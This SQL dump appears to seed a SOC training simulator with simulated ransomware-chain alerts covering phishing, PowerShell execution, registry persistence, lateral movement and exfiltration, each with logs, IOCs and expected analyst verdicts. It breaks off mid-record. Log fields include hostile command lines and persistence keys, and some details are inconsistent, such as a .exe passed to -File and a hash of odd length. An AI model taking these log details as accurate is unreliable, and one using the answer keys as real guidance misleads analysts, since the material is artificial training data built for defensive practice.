INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1556, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) Logs', 'As the final step, the attackers exfiltrate student records and other sensitive data, threatening to leak the information unless a ransom is paid.', 'Exfiltration', 'T1048', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:28:32Z\",\"event_id\":\"DLP-2345\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.75\",\"user\":\"jdoe\",\"filename\":\"student_records_2023.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"exfiltration\",\"protocol\":\"HTTPS\",\"external_ip\":\"203.0.113.75\",\"message\":\"Sensitive data exfiltrated to external IP via secure channel.\",\"alert\":true}', '2026-03-15 19:12:42', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known exfiltration destination\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"student_records_2023.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal system\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive student data\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious exfiltration file\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal system\",\"verdict\":\"suspicious\",\"details\":\"User involved in suspicious activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.488Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:28:32Z\\\",\\\"event_id\\\":\\\"DLP-2345\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.75\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"student_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"external_ip\\\":\\\"203.0.113.75\\\",\\\"message\\\":\\\"Sensitive data exfiltrated to external IP via secure channel.\\\",\\\"alert\\\":true}\"},{\"timestamp\":\"2026-03-15T20:57:15.488Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:28:32Z\\\",\\\"event_id\\\":\\\"DLP-2345\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.75\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"student_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"external_ip\\\":\\\"203.0.113.75\\\",\\\"message\\\":\\\"Sensitive data exfiltrated to external IP via secure channel.\\\",\\\"alert\\\":true}\"},{\"timestamp\":\"2026-03-15T20:56:15.488Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:28:32Z\\\",\\\"event_id\\\":\\\"DLP-2345\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.75\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"student_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"external_ip\\\":\\\"203.0.113.75\\\",\\\"message\\\":\\\"Sensitive data exfiltrated to external IP via secure channel.\\\",\\\"alert\\\":true}\"},{\"timestamp\":\"2026-03-15T20:55:15.488Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:28:32Z\\\",\\\"event_id\\\":\\\"DLP-2345\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.75\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"student_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"external_ip\\\":\\\"203.0.113.75\\\",\\\"message\\\":\\\"Sensitive data exfiltrated to external IP via secure channel.\\\",\\\"alert\\\":true}\"},{\"timestamp\":\"2026-03-15T20:54:15.488Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:28:32Z\\\",\\\"event_id\\\":\\\"DLP-2345\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.75\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"student_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"external_ip\\\":\\\"203.0.113.75\\\",\\\"message\\\":\\\"Sensitive data exfiltrated to external IP via secure channel.\\\",\\\"alert\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1557, 'Suspicious Phishing Email Detected', 'high', 'Email gateway logs', 'An incoming email has been detected with characteristics typical of a phishing attempt. The email contains a malicious attachment, commonly associated with Hive ransomware actors, aiming to gain initial access to the network.', 'Initial Access', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"email_id\":\"2345abcde6789fghijk\",\"sender_email\":\"malicious_actor@example.com\",\"recipient_email\":\"john.doe@victimcompany.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":\"Invoice_2023Q4.xlsm\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"sender_ip\":\"203.0.113.5\",\"recipient_ip\":\"192.168.1.25\",\"headers\":{\"X-Mailer\":\"Microsoft Outlook\",\"X-Phishing-Score\":\"9.8\",\"X-AntiSpam-Result\":\"Suspected\"}}', '2026-03-15 19:13:09', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"malicious_actor@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing email address associated with multiple campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to C2 infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious macro-enabled Excel file.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.512Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1558, 'Execution of Malicious Payload', 'critical', 'Endpoint detection and response (EDR) logs', 'Following initial access, the malicious payload is executed on the compromised system, marking the transition from infiltration to active compromise.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-16T14:32:00Z\",\"event_id\":\"4625\",\"event_type\":\"process_creation\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\ransom.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_name\":\"ransom.exe\"}', '2026-03-15 19:13:09', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known ransomware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransom.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareAnalysis\",\"verdict\":\"malicious\",\"details\":\"File associated with ransomware execution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1559, 'Establishment of Persistent Backdoor', 'high', 'System registry and scheduled tasks analysis', 'An advanced persistence mechanism was detected on a host system. The attackers have modified the Windows registry to run a malicious executable upon system start and scheduled a task to ensure the persistent backdoor remains active. The executable is associated with known APT activity.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:18Z\",\"event_id\":7045,\"system\":{\"host\":\"host1234.corp.local\",\"ip_address\":\"192.168.1.25\",\"user\":\"SYSTEM\"},\"event\":{\"type\":\"Registry Modification\",\"action\":\"Key Added\",\"key_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"key_value\":\"C:\\\\Windows\\\\System32\\\\malicious.exe\"},\"scheduled_task\":{\"name\":\"UpdateTask\",\"action\":\"Create\",\"command\":\"C:\\\\Windows\\\\System32\\\\malicious.exe\",\"trigger\":\"Daily\"},\"network\":{\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\"},\"file\":{\"path\":\"C:\\\\Windows\\\\System32\\\\malicious.exe\",\"hash\":\"3f7854a9b2e774b6c7f4b8b7a9d3e9f0\"}}', '2026-03-15 19:13:09', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT command and control servers.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f7854a9b2e774b6c7f4b8b7a9d3e9f0\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used for persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Executable file used for establishing persistence.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.531Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:18Z\\\",\\\"event_id\\\":7045,\\\"system\\\":{\\\"host\\\":\\\"host1234.corp.local\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"SYSTEM\\\"},\\\"event\\\":{\\\"type\\\":\\\"Registry Modification\\\",\\\"action\\\":\\\"Key Added\\\",\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"key_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"UpdateTask\\\",\\\"action\\\":\\\"Create\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Daily\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"3f7854a9b2e774b6c7f4b8b7a9d3e9f0\\\"}}\"},{\"timestamp\":\"2026-03-15T20:57:15.531Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:18Z\\\",\\\"event_id\\\":7045,\\\"system\\\":{\\\"host\\\":\\\"host1234.corp.local\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"SYSTEM\\\"},\\\"event\\\":{\\\"type\\\":\\\"Registry Modification\\\",\\\"action\\\":\\\"Key Added\\\",\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"key_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"UpdateTask\\\",\\\"action\\\":\\\"Create\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Daily\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"3f7854a9b2e774b6c7f4b8b7a9d3e9f0\\\"}}\"},{\"timestamp\":\"2026-03-15T20:56:15.531Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:18Z\\\",\\\"event_id\\\":7045,\\\"system\\\":{\\\"host\\\":\\\"host1234.corp.local\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"SYSTEM\\\"},\\\"event\\\":{\\\"type\\\":\\\"Registry Modification\\\",\\\"action\\\":\\\"Key Added\\\",\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"key_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"UpdateTask\\\",\\\"action\\\":\\\"Create\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Daily\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"3f7854a9b2e774b6c7f4b8b7a9d3e9f0\\\"}}\"},{\"timestamp\":\"2026-03-15T20:55:15.531Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:18Z\\\",\\\"event_id\\\":7045,\\\"system\\\":{\\\"host\\\":\\\"host1234.corp.local\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"SYSTEM\\\"},\\\"event\\\":{\\\"type\\\":\\\"Registry Modification\\\",\\\"action\\\":\\\"Key Added\\\",\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"key_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"UpdateTask\\\",\\\"action\\\":\\\"Create\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Daily\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"3f7854a9b2e774b6c7f4b8b7a9d3e9f0\\\"}}\"},{\"timestamp\":\"2026-03-15T20:54:15.531Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:18Z\\\",\\\"event_id\\\":7045,\\\"system\\\":{\\\"host\\\":\\\"host1234.corp.local\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"SYSTEM\\\"},\\\"event\\\":{\\\"type\\\":\\\"Registry Modification\\\",\\\"action\\\":\\\"Key Added\\\",\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"key_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\"},\\\"scheduled_task\\\":{\\\"name\\\":\\\"UpdateTask\\\",\\\"action\\\":\\\"Create\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"trigger\\\":\\\"Daily\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious.exe\\\",\\\"hash\\\":\\\"3f7854a9b2e774b6c7f4b8b7a9d3e9f0\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1560, 'Lateral Movement Detected Across Network', 'high', 'Network traffic analysis', 'Anomalous lateral movement detected from compromised host attempting to connect to multiple internal systems, indicating potential spread of malicious software.', 'Lateral Movement', 'T1570 - Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T11:32:45Z\",\"source_ip\":\"192.168.1.10\",\"destination_ips\":[\"10.0.0.25\",\"10.0.0.30\"],\"external_attacker_ip\":\"203.0.113.45\",\"command\":\"smbclient\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"internal_user1\",\"filename\":\"payload.dll\",\"event_id\":\"4624\",\"event_type\":\"Network Connection\",\"protocol\":\"SMB\"}', '2026-03-15 19:13:09', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Compromised internal host attempting lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP linked to APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"payload.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"file analysis\",\"verdict\":\"malicious\",\"details\":\"Payload used for lateral movement and execution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1561, 'Data Exfiltration Attempt Identified', 'critical', 'Data loss prevention (DLP) systems', 'An advanced data exfiltration attempt was detected, involving the transfer of sensitive files to an external IP address. This is part of a known tactic used by Hive actors to conduct double extortion by leveraging stolen data.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:55Z\",\"event_id\":\"DLP-EXFIL-2023-0005\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"file_name\":\"financial_report_q3_2023.xlsx\",\"file_hash\":\"5e884898da28047151d0e56f8dc6292773603d0d6aabbddf\",\"user\":\"john_doe\",\"action\":\"allowed\",\"rule_triggered\":\"Sensitive Data Transfer\",\"alert_severity\":\"Critical\"}', '2026-03-15 19:13:09', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5e884898da28047151d0e56f8dc6292773603d0d6aabbddf\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash linked to potential data exfiltration malware.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Active directory user account.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP Logs\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive financial data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.538Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:55Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"5e884898da28047151d0e56f8dc6292773603d0d6aabbddf\\\",\\\"user\\\":\\\"john_doe\\\",\\\"action\\\":\\\"allowed\\\",\\\"rule_triggered\\\":\\\"Sensitive Data Transfer\\\",\\\"alert_severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.538Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:55Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-2023-0005\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"financial_report_q3_2023.xlsx\\\",\\\"file_hash\\\":\\\"5e884898da28047151d0e56f8dc6292773603d0d6aabbddf\\\",\\\"user\\\":\\\"john_doe\\\",\\\"action\\\":\\\"allowed\\\",\\\"rule_triggered\\\":\\\"Sensitive Data 